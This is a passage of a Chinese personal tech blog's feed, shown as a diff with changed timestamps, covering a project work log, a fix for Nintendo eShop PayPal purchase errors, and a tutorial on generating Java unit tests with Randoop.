performance</a></p></li><li><p>将相机限制在菱形范围内（旋转 45 度）：<a href="https://math.stackexchange.com/questions/190111/how-to-check-if-a-point-is-inside-a-rectangle">How to check if a point is inside a rectangle?</a></p></li><li><p>避免英文单词断行：<a href="https://docs.unity3d.com/Packages/com.unity.textmeshpro@4.0/manual/RichTextNoBreak.html">No Break | TextMeshPro | 4.0.0-pre.2</a></p></li><li><p>检测物体是否在相机可视范围内：<a href="https://stackoverflow.com/questions/46364719/unity-how-do-i-check-if-an-object-is-seen-by-the-main-camera">Unity-How do I check if an object is seen by the Main Camera</a></p></li><li><p>切换语言后 UI 没有自适应伸缩：<a href="https://forum.unity.com/threads/content-size-fitter-refresh-problem.498536/">Content size fitter refresh problem</a></p></li></ul></li><li><p>修改 UI prefab，适配 <code>expand</code> 模式（Canvas Scaler）</p></li></ol><h2 id="Cloud-Rendering"><a href="#Cloud-Rendering" class="headerlink" title="Cloud Rendering"></a>Cloud Rendering</h2><ol><li><p>WebSocket 开发：复用 rpc + protobuf</p><ul><li><p>技术栈：Golang、MongoDB、TypeScript</p></li><li><p>难点：数据格式、CORS</p></li></ul></li><li><p>监控平台：<a href="https://github.com/jckling/observability-demo">observability-demo</a></p></li></ol><h2 id="AI-Digital-Humans"><a href="#AI-Digital-Humans" class="headerlink" title="AI Digital Humans"></a>AI Digital Humans</h2><p>大模型 + <a href="https://www.nvidia.com/en-us/omniverse/">Ominiverse</a></p><ol><li><p>C# 功能验证：livelink、streaming audio player</p></li><li><p>修改 python 源码提供 API：ExportBlendshapeJson、ExportAnimationJson、DownloadTrack、SetExpireTime</p></li><li><p>平台开发：Docker + MongoDB + Golang</p></li><li><p>Unity 脚本对接：PlatformClient、AvatarClient</p></li><li><p>Bug Fix：动作重复、动作指令持续时间、任务丢失等</p></li></ol><h2 id="GLY"><a href="#GLY" class="headerlink" title="GLY"></a>GLY</h2><ol><li><p>UI 面板开发：难点在于需要后处理才能和设计对上，创建 prefab 和显示 UI 的逻辑比较基础</p></li><li><p>游戏保存功能开发：<a href="https://assetstore.unity.com/packages/tools/utilities/easy-save-the-complete-save-data-serializer-system-768">Easy Save - The Complete Save Data &amp; Serializer System | Utilities Tools | Unity Asset Store</a></p></li></ol><h2 id="源码"><a href="#源码" class="headerlink" title="源码"></a>源码</h2><ol><li><p>源码拉取、编译、调试</p></li><li><p>Asset 工作流分析</p><ul><li><p>导入器</p></li><li><p>Metadata</p></li><li><p>资源数据库：SourceAssetDB、ArtifactDB</p></li><li><p>Asset 导入&#x2F;导出流程：文件导入顺序、调用栈</p></li><li><p>Build Pipeline、Asset Bundle</p></li></ul></li></ol><h2 id="OpenHarmony"><a href="#OpenHarmony" class="headerlink" title="OpenHarmony"></a>OpenHarmony</h2><p>将游戏打包为 <code>.hpk</code> 并在真机上进行测试</p><ol><li><p>Angry Bots：<a href="https://github.com/jckling/AngryBots_CSharp">jckling&#x2F;AngryBots_CSharp</a></p></li><li><p>Angry Bots2</p></li></ol><h2 id="低代码编辑器"><a href="#低代码编辑器" class="headerlink" title="低代码编辑器"></a>低代码编辑器</h2><ol><li><p>运行在云编辑器上的 Demo：即封装了一层 layout</p><ul><li><p>用到 UIElements 和 <code>.wlt</code> 文件</p></li><li><p>试了下 ModeService 似乎不太行</p></li></ul></li></ol><h2 id="Dotnet-Serialization-Benchmark"><a href="#Dotnet-Serialization-Benchmark" class="headerlink" title="Dotnet Serialization Benchmark"></a>Dotnet Serialization Benchmark</h2><ol><li>比较各个序列化框架的性能：<a href="https://github.com/jckling/Dotnet-Serialization-Benchmark">Dotnet-Serialization-Benchmark</a></li></ol><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><p>自学 Unity 教程</p><ol><li><p><a href="https://github.com/jckling/2DAdventure">2DAdventure</a></p></li><li><p><a href="https://github.com/jckling/3DRPG">3DRPG</a></p></li><li><p><a href="https://github.com/jckling/farm">Farm</a></p></li></ol>]]></content>
     
@@ -180,7 +180,7 @@
     <link href="https://jckling.github.io/2022/08/14/Game/NS/%E6%97%A5%E5%8C%BA%20eshop%20%E6%97%A0%E6%B3%95%E4%BD%BF%E7%94%A8%20PayPal/"/>
     <id>https://jckling.github.io/2022/08/14/Game/NS/%E6%97%A5%E5%8C%BA%20eshop%20%E6%97%A0%E6%B3%95%E4%BD%BF%E7%94%A8%20PayPal/</id>
     <published>2022-08-14T10:12:52.000Z</published>
-    <updated>2024-05-21T10:02:48.252Z</updated>
+    <updated>2024-05-22T14:10:40.993Z</updated>
     
     <content type="html"><![CDATA[<h1 id="问题解决"><a href="#问题解决" class="headerlink" title="问题解决"></a>问题解决</h1><ol><li>不要重复解绑和绑定 PayPal 账号</li><li>遇到 9001-9310 错误代码，只要不断重复尝试就可以成功购买</li></ol><h1 id="解决流程"><a href="#解决流程" class="headerlink" title="解决流程"></a>解决流程</h1><p>一直想凑一车人开 NS 家庭会员，终于拉够了三五好友，然后发现港服只能用信用卡</p><img src="https://s2.loli.net/2022/08/14/KWHSVOnmXod9NzG.png" width="90%"><p>而日服可以使用 PayPal 或信用卡</p><img src="https://s2.loli.net/2022/08/14/zNhQ8sWDcy7Ufed.jpg" width="60%"><p>但是日服账号绑定 PayPal 后无法购买，遇到 9001-9310 错误代码，网上搜了一圈解决方法：</p><ol><li>重复解绑和绑定：遇到 9001-1787 错误代码，PayPal 账户被冻结，得等待一两天后才能重新绑定。</li><li>更换邮箱：将 PayPal 邮箱换成了 gmail 的，仍然无法购买。</li><li>使用主机进入 eshop 购买：遇到 2813-9310 错误代码，同网页版的 9001-1787 错误代码。</li></ol><img src="https://s2.loli.net/2022/08/14/cFealAQUSg7ZRqm.jpg" width="90%"><img src="https://s2.loli.net/2022/08/14/mGov8Qtu6SkpdsB.jpg" width="90%"><p>最后，我边看 Lycoris Recoil 更新边重复点击购买，不断遇到 9001-9310 错误代码，尝试 <strong>十几次</strong> 就成功买上了……</p><p>只能说任天堂的支付接口真的很玄学，不少网友也都遇到无法购买的问题，解决办法就是重复尝试购买，总有一下可以成功购买😅</p><h1 id="参阅"><a href="#参阅" class="headerlink" title="参阅"></a>参阅</h1><ul><li><a href="https://pttgamer.com/NSwitch/1XzXQXCT">[問題] 跳區後綁定Paypal出現 9001-1787 無法綁</a></li><li><a href="https://www.paypal-community.com/t5/Payments-Archives/Error-9001-9310-when-buying-Nintendo-Online/td-p/1677465">Error 9001-9310 when buying Nintendo Online</a></li><li><a href="https://en-americas-support.nintendo.com/app/answers/detail/a_id/29173/kw/9001-9310/session/L3RpbWUvMTU4NTA1NzczNi9nZW4vMTU4NTA1NzczNi9zaWQvZlVtU0Z0OHZGN0FDUGFlUUFOSnQxYXF5RHBHeEtNcUdjWkJjVk5NVm1iaEVpdHJNYUxZSU1RWWp5SWJMOWZVc0JnOEFYa3JJQVFQOGNJJTdFV0V3TVRsYzkwcHo3MmtxWW5DM3RTdDRLU0hsU3doaDh5U1VNcDlNM1ElMjElMjE=">Error Code: 9001-9310</a></li></ul>]]></content>
     
@@ -245,7 +245,7 @@
     <link href="https://jckling.github.io/2022/04/27/Other/Java%20%E8%87%AA%E5%8A%A8%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6/"/>
     <id>https://jckling.github.io/2022/04/27/Other/Java%20%E8%87%AA%E5%8A%A8%E5%8D%95%E5%85%83%E6%B5%8B%E8%AF%95%E7%94%9F%E6%88%90%E6%A1%86%E6%9E%B6/</id>
     <published>2022-04-27T02:09:06.000Z</published>
-    <updated>2024-05-21T10:02:48.264Z</updated>
+    <updated>2024-05-22T14:10:41.005Z</updated>
     
     <content type="html"><![CDATA[<h1 id="测试框架"><a href="#测试框架" class="headerlink" title="测试框架"></a>测试框架</h1><ul><li>BDD(Behaviour-Driven Development)：行为驱动开发</li><li>TDD(Test-Driven Development)：测试驱动开发</li></ul><table><thead><tr><th>框架</th><th>类型</th><th>说明</th></tr></thead><tbody><tr><td><a href="https://github.com/junit-team/junit5/">JUnit</a></td><td>TDD</td><td>最基本的测试框架，可以与 Selenium 一同使用</td></tr><tr><td>JBehave</td><td>BDD</td><td>主要与 Selenium WebDriver 一起使用</td></tr><tr><td>Serenity</td><td>BDD</td><td>可以与 JBehave、JUnit 集成</td></tr><tr><td>TestNG</td><td>TDD</td><td>主要使用 XML 配置，集成端到端测试</td></tr><tr><td>Mockito</td><td>TDD</td><td>通过反射模拟对象，可以与 TestNG、JUnit 集成</td></tr><tr><td>HttpUnit</td><td>BDD</td><td>基于 JUnit 开发，网站测试</td></tr><tr><td>JWebUnit</td><td>BDD</td><td>网站测试</td></tr><tr><td><a href="https://github.com/getgauge/gauge">Gauge</a></td><td>BDD</td><td>网站测试</td></tr><tr><td>Geb</td><td>BDD</td><td>网站测试</td></tr><tr><td><a href="https://github.com/selenide/selenide">Selenide</a></td><td>BDD</td><td>由 Selenium 提供支持，网站测试</td></tr><tr><td><a href="https://github.com/spockframework/spock">Spock</a></td><td>BDD</td><td>网站测试</td></tr><tr><td><a href="https://github.com/cucumber/cucumber-jvm">Cucumber</a></td><td>BDD</td><td>支持 Java、JS、Ruby 等多种言</td></tr><tr><td><a href="https://github.com/EvoSuite/evosuite/tree/v1.2.0">EvoSuite</a></td><td></td><td>自动生成 JUnit 单元测试</td></tr><tr><td><a href="https://github.com/randoop/randoop">Randoop</a></td><td></td><td>自动生成 JUnit 单元测试</td></tr><tr><td><a href="https://github.com/ksen007/janala2">CATG</a></td><td></td><td>concolic 测试引擎，使用 ASM 进行插桩，依赖 python2.7，18 年停止更新</td></tr><tr><td><a href="https://github.com/konveyor/tackle-test-generator-cli">Tackle-test</a></td><td></td><td>集成 EvoSuite 和 Randoop</td></tr><tr><td><a href="https://github.com/vorpal-research/kex/tree/sbst-contest">Kex</a></td><td></td><td>用于 Java 字节码的白盒模糊测试工具</td></tr><tr><td><a href="https://github.com/ilebrero/evosuite/releases/tag/DSE.SBSTToolCompetition2021">EvoSuite DSE</a></td><td></td><td>支持 concolic 测试</td></tr></tbody></table><p>除了开源框架之外，也有些软件支持自动化单元测试（Automated Unit Testing），包括 Devmate、Diffblue、Ponicode、Symflower 等等。</p><h1 id="Randoop"><a href="#Randoop" class="headerlink" title="Randoop"></a>Randoop</h1><h2 id="实验"><a href="#实验" class="headerlink" title="实验"></a>实验</h2><h3 id="环境"><a href="#环境" class="headerlink" title="环境"></a>环境</h3><p>大部分脚本使用 Perl 编写，无法在 Windows 环境中编译</p><ul><li><a href="https://github.com/randoop/randoop/issues/165">Generating user manual fails on Windows #165</a></li></ul><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 下载源码</span></span><br><span class="line">git <span class="built_in">clone</span> https://github.com/randoop/randoop.git</span><br><span class="line"></span><br><span class="line"><span class="comment"># 编译 Randoop、编译 Java 代理、运行所有测试、构建 jar 文件并从源 Javadoc 更新手册</span></span><br><span class="line">./gradlew build manual</span><br></pre></td></tr></table></figure><p>Windows 中可以使用编译好的文件：<a href="https://github.com/randoop/randoop/releases/download/v4.3.0/randoop-4.3.0.zip">randoop-4.3.0.zip</a></p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 设置环境变量（powershell）</span></span><br><span class="line"><span class="variable">$Env:RANDOOP_JAR</span> = <span class="string">&quot;D:\Study\Github\Java-Deserialization\实验\UnitTest\randoop-all-4.3.0.jar&quot;</span></span><br><span class="line"><span class="variable">$Env:RANDOOP_JAR</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 帮助信息</span></span><br><span class="line">java <span class="literal">-classpath</span> <span class="variable">$Env:RANDOOP_JAR</span> randoop.main.Main help gentests</span><br><span class="line"></span><br><span class="line">java <span class="literal">-classpath</span> randoop<span class="literal">-all-4</span>.<span class="number">3.0</span>.jar randoop.main.Main help gentests</span><br></pre></td></tr></table></figure><p>默认情况下，Randoop 生成并输出两种单元测试，写入单独的文件。</p><ul><li>错误显示测试（<code>error-revealing-tests</code>）是在执行时失败的测试，表明一个或多个被测类中存在潜在错误。<ul><li>当 Randoop 调用创建对象的方法时，Randoop 会验证该对象的格式是否正确。</li><li>检查：<code>Object.equals()</code>、<code>Object.hashCode()</code>、<code>Object.clone()</code>、<code>Object.toString()</code>、<code>Comparable.compareTo()</code>、<code>Comparator.compare()</code>、使用 <code>@CheckRep</code> 注释的空方法</li></ul></li><li>回归测试（<code>regression-tests</code>）是在执行时通过的测试，可用于扩充回归测试套件。<ul><li>在程序更改&#x2F;重构之前实施的测试在代码更新后应该仍然成功，否则就可能在代码中引入了新错误。</li></ul></li></ul><p>Randoop 支持对 jar 文件、指定类、指定方法生成 JUnit 测试。</p><h3 id="指定多个类"><a href="#指定多个类" class="headerlink" title="指定多个类"></a>指定多个类</h3><p>创建 myclasses.txt 文件，指定被测类</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">java.util.Collections</span><br><span class="line">java.util.TreeSet</span><br></pre></td></tr></table></figure><p>调用 randoop 并将执行时间限制为 60 秒</p><figure class="highlight powershell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">java <span class="literal">-classpath</span> <span class="variable">$Env:RANDOOP_JAR</span> randoop.main.Main gentests <span class="literal">--classlist</span>=myclasses.txt <span class="literal">--time-limit</span>=<span class="number">60</span></span><br></pre></td></tr></table></figure><p>输出结果，只生成了 RegressionTest，没有 ErrorTest</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">Randoop for Java version 4.3.0.</span><br><span class="line"></span><br><span class="line">Will try to generate tests for 2 classes.</span><br><span class="line">PUBLIC MEMBERS=112</span><br><span class="line">Explorer = ForwardGenerator(steps: 0, null steps: 0, num_sequences_generated: 0;</span><br><span class="line">    allSequences: 0, regresson seqs: 0, error seqs: 0=0=0, invalid seqs: 0, subsumed_sequences: 0, num_failed_output_test: 0;</span><br><span class="line">    runtimePrimitivesSeen:38)</span><br><span class="line"></span><br><span class="line">Progress update: steps=1, test inputs generated=0, failing inputs=0      (2022-02-28T02:36:46.426Z     43.5M used)</span><br><span class="line">Progress update: steps=1000, test inputs generated=823, failing inputs=0      (2022-02-28T02:37:03.368Z     419M used)</span><br><span class="line">Progress update: steps=2000, test inputs generated=1630, failing inputs=0      (2022-02-28T02:37:19.685Z     528M used)</span><br><span class="line">Progress update: steps=3000, test inputs generated=2440, failing inputs=0      (2022-02-28T02:37:35.947Z     339M used)</span><br><span class="line">Progress update: steps=3690, test inputs generated=2960, failing inputs=0      (2022-02-28T02:37:46.426Z     225M used)</span><br><span class="line">Normal method executions: 4962090</span><br><span class="line"></span><br><span class="line">Exceptional method executions: 534</span><br><span class="line"></span><br><span class="line">Average method execution time (normal termination):      0.000157                                              </span><br><span class="line">Average method execution time (exceptional termination): 0.0369                                      </span><br><span class="line">Approximate memory usage 225M</span><br><span class="line"></span><br><span class="line">Explorer = ForwardGenerator(steps: 3690, null steps: 730, num_sequences_generated: 2960;</span><br><span class="line">    allSequences: 2960, regresson seqs: 1254, error seqs: 0=0=0, invalid seqs: 0, subsumed_sequences: 0, num_failed_output_test: 1706;</span><br><span class="line">    runtimePrimitivesSeen:47)</span><br><span class="line"></span><br><span class="line">No error-revealing tests to output.</span><br><span class="line"></span><br><span class="line">About to look for failing assertions in 831 regression sequences.</span><br><span class="line"></span><br><span class="line">Regression test output:</span><br><span class="line">Regression test count: 831</span><br><span class="line">Writing regression JUnit tests...</span><br><span class="line">Created file D:\Study\Github\randoop\RegressionTest0.java </span><br><span class="line">Created file D:\Study\Github\randoop\RegressionTest1.java</span><br><span class="line">Created file D:\Study\Github\randoop\RegressionTest.java</span><br><span class="line">Wrote regression JUnit tests.</span><br><span class="line">About to look for flaky methods.</span><br><span class="line"></span><br><span class="line">Invalid tests generated: 0</span><br><span class="line"></span><br><span class="line">Uncompilable sequences generated (count: 1705).</span><br><span class="line">Please report uncompilable sequences at https://github.com/randoop/randoop/issues ,</span><br><span class="line">providing the information requested at https://randoop.github.io/randoop/manual/index.html#bug-reporting .</span><br></pre></td></tr></table></figure><h3 id="指定类文件"><a href="#指定类文件" class="headerlink" title="指定类文件"></a>指定类文件</h3><p>创建文件 Message.java 并编译为 .class 文件</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Message</span> &#123;</span><br><span class="line"><span class="keyword">private</span> String message;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="title function_">Message</span><span class="params">(String message)</span>&#123;</span><br><span class="line"><span class="built_in">this</span>.message = message;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">printMessage</span><span class="params">()</span>&#123;</span><br><span class="line">System.out.println(message);</span><br><span class="line"><span class="keyword">return</span> message;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用参数 <code>--testclass</code> 指定被测类，注意需要添加 classpath</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 编译</span></span><br><span class="line">javac Message.java</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成测试</span></span><br><span class="line">java -classpath <span class="string">&quot;.;<span class="variable">$Env</span>:RANDOOP_JAR&quot;</span> randoop.main.Main gentests --testclass=Message --time-limit=60</span><br></pre></td></tr></table></figure><p>生成 199 个回归测试，直接将相关文件都拖到 test 目录下，执行测试，全部通过</p><img src="https://s2.loli.net/2022/04/27/5J6w4st93zOim2a.jpg" ><p>创建 Sum.java</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Sum</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">add</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> a + b;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">multiply</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">result</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; b; i++) &#123;</span><br><span class="line">            result = add(result, a);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>编译为 .class 文件，并生成测试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 编译</span></span><br><span class="line">javac Sum.java</span><br><span class="line"></span><br><span class="line"><span class="comment"># 生成测试</span></span><br><span class="line">java -classpath <span class="string">&quot;.;<span class="variable">$Env</span>:RANDOOP_JAR&quot;</span> randoop.main.Main gentests --testclass=Sum --time-limit=60</span><br></pre></td></tr></table></figure><p>生成 1360 个测试，更改代码</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Sum</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">add</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> a + b + <span class="number">1</span>;  <span class="comment">// 修改</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">multiply</span><span class="params">(<span class="type">int</span> a, <span class="type">int</span> b)</span> &#123;</span><br><span class="line">        <span class="type">int</span> <span class="variable">result</span> <span class="operator">=</span> <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; b; i++) &#123;</span><br><span class="line">            result = add(result, a);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> result;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>重新运行刚才生成的回归测试，1357 个测试失败</p><img src="https://s2.loli.net/2022/04/27/k3JyxITYrBjsPce.jpg" style="zoom: 65%;"><h3 id="指定方法"><a href="#指定方法" class="headerlink" title="指定方法"></a>指定方法</h3><p>可能用到的参数</p><ul><li>指定测试范围的常见度依次递减，同时出错的概率递增：指定 jar，指定类，指定方法</li><li><a href="https://randoop.github.io/randoop/manual/class_list_example.txt">classlist.txt 示例</a></li><li><a href="https://randoop.github.io/randoop/manual/method_list_example.txt">methodlist.txt 示例</a></li></ul><table><thead><tr><th>参数</th><th>说明</th></tr></thead><tbody><tr><td><code>--testjar=filename</code></td><td>将给定 jar 文件中的每个类作为待测类</td></tr><tr><td><code>--classlist=filename</code></td><td>列出要测试的类，所有的方法都将作为被测方法</td></tr><tr><td><code>--testclass=string</code></td><td>指定待测类（完全限定名）</td></tr><tr><td><code>--methodlist=filename</code></td><td>测试中调用的方法和构造函数列表（完全限定名）</td></tr><tr><td><code>--omit-classes=regex</code></td><td>正则表达式，指定不在测试中使用的类</td></tr><tr><td><code>--omit-classes-file=filename</code></td><td>列出正则表达式，指定不在测试中使用的类</td></tr><tr><td><code>--omit-methods=regex</code></td><td>正则表达式，指定不在测试中使用的方法。不会阻止其他方法对其的间接调用</td></tr><tr><td><code>--omit-methods-file=filename</code></td><td>列出正则表达式，指定不在测试中使用的方法</td></tr><tr><td><code>--require-classname-in-test=regex</code></td><td>正则表达式，指定必须在测试中出现的类。</td></tr><tr><td><code>--require-covered-classes=filename</code></td><td>列出测试必须直接或间接使用的类，包含其中一个即输出</td></tr><tr><td><code>--no-regression-tests=boolean</code></td><td>禁用回归测试输出</td></tr><tr><td><code>--deterministic=boolean</code></td><td>确定性，相同输入相同输出</td></tr><tr><td><code>--log=filename</code></td><td>日志记录</td></tr><tr><td><code>--time-limit=int</code></td><td>0 表示没有限制，如果非零则不确定。总体限制，默认值 100 秒</td></tr><tr><td><code>--method-selection=&lt;enum&gt; </code></td><td>通过从一组被测方法中进行选择来生成新的测试。默认均匀随机（UNIFORM），可选优先考虑分支覆盖率较低的方法（BLOODHOUND）</td></tr><tr><td><code>--input-selection=&lt;enum&gt; </code></td><td>通过组合以前生成的旧测试来生成新测试。默认均匀随机（UNIFORM），可选短序列偏好（SMALL_TESTS）</td></tr></tbody></table><p>Randoop 项目想法中包括方法选择策略的优化，其中就提到了让用户指定关键方法，目前似乎还没有具体实现。</p><ol><li><p>考虑修改 Randoop 的默认生成器（ForwardGenerator）</p><ul><li>生成策略</li><li>满足特定条件时，向标准错误进行输出，应该会存储在 ErrorTest 中</li></ul></li><li><p>使用方法规范（<code>--specifications=file</code>）设置特定方法的预期行为，将其归类到错误显示测试中</p><ul><li><a href="https://randoop.github.io/randoop/manual/net_connection_spec.json">spec.json 示例</a></li></ul></li></ol><h3 id="问题与解决"><a href="#问题与解决" class="headerlink" title="问题与解决"></a>问题与解决</h3><ol><li><p>乱码</p><ul><li><code>Settings - Editor -File Encodings</code> 将编码全部改为 UTF-8</li><li>在 <code>idea64.exe.vmoptions</code> 末尾添加 <code>-Dfile.encoding=UTF-8</code></li><li>重启 IDEA</li></ul></li><li><p>rawtypes</p><ul><li>泛型类缺少类参数，添加 <code>&lt;?&gt;</code> 即可</li></ul></li><li><p>程序包不存在</p></li><li><p>cast</p></li></ol><img src="https://s2.loli.net/2022/04/27/c9vaBTLw63Eq2CD.png" ><h2 id="相关概念"><a href="#相关概念" class="headerlink" title="相关概念"></a>相关概念</h2><p>在 Randoop 中，测试输入表示为 Sequence，测试检查使用 Checks 表示。每个序列由一个或多个 Statement 对象组成。</p><p>Randoop 的生成算法创建 Sequence，为每个序列添加适当的 Checks，并将结果作为单元测试输出。</p><h3 id="Sequence"><a href="#Sequence" class="headerlink" title="Sequence"></a>Sequence</h3><p>Randoop 生成 Sequence 对象，通过添加检查来构造单元测试的输入。在 Randoop 中，所有测试输入都是使用被测类的方法和构造函数的操作序列。</p><p>每条语句包含三个元素：</p><ul><li>正在被调用的特定方法（或构造函数）</li><li>每次调用返回的值（原始值或对象）</li><li>调用的输入，来自先前语句中产生的值</li></ul><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">                  Result      Operation        Inputs</span><br><span class="line">                  ======      =============        ======</span><br><span class="line">statement 0:      l       =   new LinkedList       ()</span><br><span class="line">statement 1:      str     =   &quot;hi!&quot;                ()</span><br><span class="line">statement 2:                  addFirst             (l, str)</span><br><span class="line">statement 3:      i       =   size                 (l)</span><br><span class="line">statement 4:      t       =   new TreeSet          (l)</span><br><span class="line">statement 5:      s       =   synchronizedSet      (t)</span><br></pre></td></tr></table></figure><p>语句的三个元素映射到 Randoop 中的以下类：</p><ul><li><p>Operation 表示语句执行的操作类型</p><ul><li>MethodCall 表示特定的方法调用。该类与 Java 反射 Method 类相似，添加了对 Randoop 有用的附加功能。</li><li>ConstructorCall 表示构造函数调用。</li><li>FieldGet 和 FieldSet 表示获取和设置公共字段。字段由实现 AccessibleField 的类的实例表示。</li><li>EnumConstant 表示一个枚举常量值。</li><li>NonreceiverTerm 表示将变量声明和初始化为原始值、字符串或空值的语句。</li><li>ArrayCreation 表示声明并初始化一个数组的语句，该数组由之前语句中创建的值组成。</li></ul></li><li><p>Variables 代表语句的输入和输出</p><ul><li>Variable 只是序列中索引的包装器：给定序列 s，变量 s.getVariable(i) 表示序列中第 i 个语句产生的值。</li></ul></li></ul><p>创建 sequence</p><ol><li>通过扩展（extension）：获取一个序列并在底部添加一个新语句</li><li>使用串联（concatenation）：给的序列 s1、s2、s3，创建串联的新序列<ul><li>Randoop 组合创建新序列的方法</li></ul></li><li>从字符串中解析（parseable）出序列</li></ol><p>注意：Sequence 是不可变的，扩展操作返回新序列。</p><p>如果代码涉及参数化类型，那就需要实例化使用的泛型类类型，以便获得需要的类型替换。</p><h3 id="ExecutableSequence"><a href="#ExecutableSequence" class="headerlink" title="ExecutableSequence"></a>ExecutableSequence</h3><p>ExecutableSequence 包装 Sequence 并添加两个功能：</p><ul><li>ExecutableSequence 可以通过对预期属性的检查来增强。 Check 是一个对象，表示序列的某些预期属性；例如，序列中的特定方法调用正常返回。当可执行序列被执行时，序列中存在的任何检查都会在运行时检查，并且检查的通过&#x2F;失败状态可供客户端检查。</li><li>ExecutableSequence 可以执行。 Randoop 使用 Java 的反射机制来调用序列中的方法和构造函数，并使用底层 Sequence 的结构来确定要传递给它们的输入。</li></ul><p>执行 sequence</p><ul><li>在 execute 方法返回后，可以通过 getResult(int i) 方法访问执行过程中创建的运行时对象，该方法返回执行语句 i 的结果。</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span 